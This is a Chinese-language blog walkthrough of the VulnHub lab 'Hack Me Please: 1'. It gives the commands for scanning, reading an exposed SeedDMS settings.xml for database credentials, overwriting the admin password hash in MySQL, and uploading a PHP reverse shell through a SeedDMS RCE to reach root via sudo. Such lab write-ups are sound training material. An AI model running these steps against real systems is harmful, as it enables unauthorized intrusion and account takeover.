freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

HACK ME PLEASE: 1 vulnhub
2022-05-11 12:06:50
所属地 河北省

简介

靶机链接:https://www.vulnhub.com/entry/hack-me-please-1,731/

难度:简单

描述:一个完全为OSCP设计的简单盒子。不需要暴力破解。

目的:获得root shell

确定IP地址

首先,我们必须识别靶机的 IP 地址(如果是在真实环境中这一步应该是绕过CDN,或者其他方法找到真实服务器IP)

netdiscover -r 192.168.81.0/24

扫描开放端口

端口探测查看开启的服务

nmap -sC -sV 192.168.81.151 -n -vv --min-rate=2000

由于没有开启ssh,我们必须找其他方法进行远程命令控制,先来读一读网页信息。

探测web服务

查看默认页面

1651323941_626d3425d76414c2dff50.png!small?1651323942659

该网站的默认页面没有过多信息

进行子目录遍历

从下级目录中搜寻有没有可利用的信息

gobuster dir -u http://192.168.81.151 -w /usr/share/seclists/Discovery/Web-Content/common.txt -t 20

1651324130_626d34e227c4b163d69e5.png!small?1651324130338

都为403、301访问后显示权限不允许。此方法无果。

查看页面源码js链接中有没有敏感信息泄露

结果在main.js里发现敏感信息。

1651391099_626e3a7b9c68a492c484b.png!small?1651391100211

百度去搜索一下seeddms,发现是一个文档管理系统,版本为5.1.22。访问http://192.168.81.151/seeddms51x/seeddms-5.1.22。为一个登录页面,但题目要求不需要暴力破解。

搜集seedms的信息

1.搜集该系统版本漏洞

searchsploit seeddms     或者在https://www.exploit-db.com/exploits搜索

1651392633_626e407911d2a582063cc.png!small?1651392633653

存在漏洞的版本都是低版本,该seeddms可能没有漏洞 ,但可以做个参考试一试。

两个RCE漏洞都需要登录后才可利用。现在或许只能设法从mysql中得到seeddms登录密码信息。


2.查看该系统的文件目录获取更多信息

访问https://sourceforge.net/p/seeddms/code/ci/5.1.22/tree/       #查看目录树
https://sourceforge.net/projects/seeddms/files/ #下载该软件的地址

查看目录树,发现有一个conf配置文件,conf包含服务器的配置。配置文件中多存在敏感信息。

1651399432_626e5b08b0089b881a292.png!small?1651399433307

查看settings.xml.template,发现该文件中要求写入数据库信息。访问该页面就可以的到mysql账号密码!

1651400415_626e5edf34d8d7ca7ac3c.png!small?1651400415839


首先我们了解一下.htaccess,这是一个apache服务器的配置文件,可以允许/阻止特定目录的访问

1651399903_626e5cdf2f9e79112fc96.png!small?1651399903776

下载该软件后查看conf下,默认没有.htaccess,需要手动配置 。

1651400220_626e5e1ce3c525bddedf9.png!small?1651400221487

因为是靶机ctf,我们假设管理员没有配置成功,直接访问http://192.168.81.151/seeddms51x/conf/settings.xml,得到了数据库账号密码!

1651400540_626e5f5c0a3151588d9e9.png!small?1651400540650

登录mysql,尝试获得seeddms的密码

mysql -h 192.168.81.151 -D seeddms -u seeddms -p   
show tables; //查看表格

发现所有表格都以tbl开头,但又一个单独的 users

MySQL [seeddms]> SELECT * FROM users; //查看users

1651401054_626e615ec914c0286923d.png!small?1651401055394

获取了一个密码信息,可能是靶机用户的密码,但是没有账号。

查看tblusers

select * from tblUsers;     

1651401692_626e63dc91f3c60d9d67c.png!small?1651401693278

发现存在账号密码信息,尝试 cmd5.com破解密码,但失败

直接修改数据库保存密码

UPDATE tblUsers  SET pwd='670b14728ad9902aecba32e22fa4f6bd' WHERE login='admin';
pwd为自己生成的密码

1651402197_626e65d53015323361f65.png!small?1651402197733

修改成功,可以登录

利用RCE漏洞

利用我们之前搜集到的版本漏洞

1651402512_626e67102862744b47381.png!small?1651402512810

可以执行一句话木马,但是网页操作比较繁琐,下面我们使用反弹shell

  1. 首先生成php shell文件

kali有自带反弹shell文件  /usr/share/webshells/php/php-reverse-shell.php 

或者使用https://www.revshells.com/ 自动生成反弹shell

1651404870_626e7046001fd1a121052.png!small?1651404870567

2.上传该文件

3.kali上进行监听: nc -nlvp 1234

4.访问反弹shell文件 192.168.81.151/seeddms51x/data/1048576/id/1.php

5.此时监听成功

4.增加反弹shell的交互功能:python3 -c 'import pty;pty.spawn("/bin/bash")'

1651405617_626e7331dee7dc9170e79.png!small?1651405618466

提权

此时我们已经有了远程命令执行

  1. grep bash /etc/passwd 查看可以登录的账号,发现有saket账户,之前在user表中看到过密码:Saket@#$1337

1651405874_626e7432e9946ca867e69.png!small?1651405875485

2.尝试登录  su - saket

1651406322_626e75f229a55550c3f23.png!small?1651406322691

3.检查用户的 sudo 权限,发现有all权限

1651406377_626e7629e26ba506ffa3f.png!small?1651406378492

4. sudo su - root  直接切换到root,提权成功!

1651406427_626e765b0edeb239c89a4.png!small?1651406427585


# 渗透测试 # CTF # vulnhub靶机
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录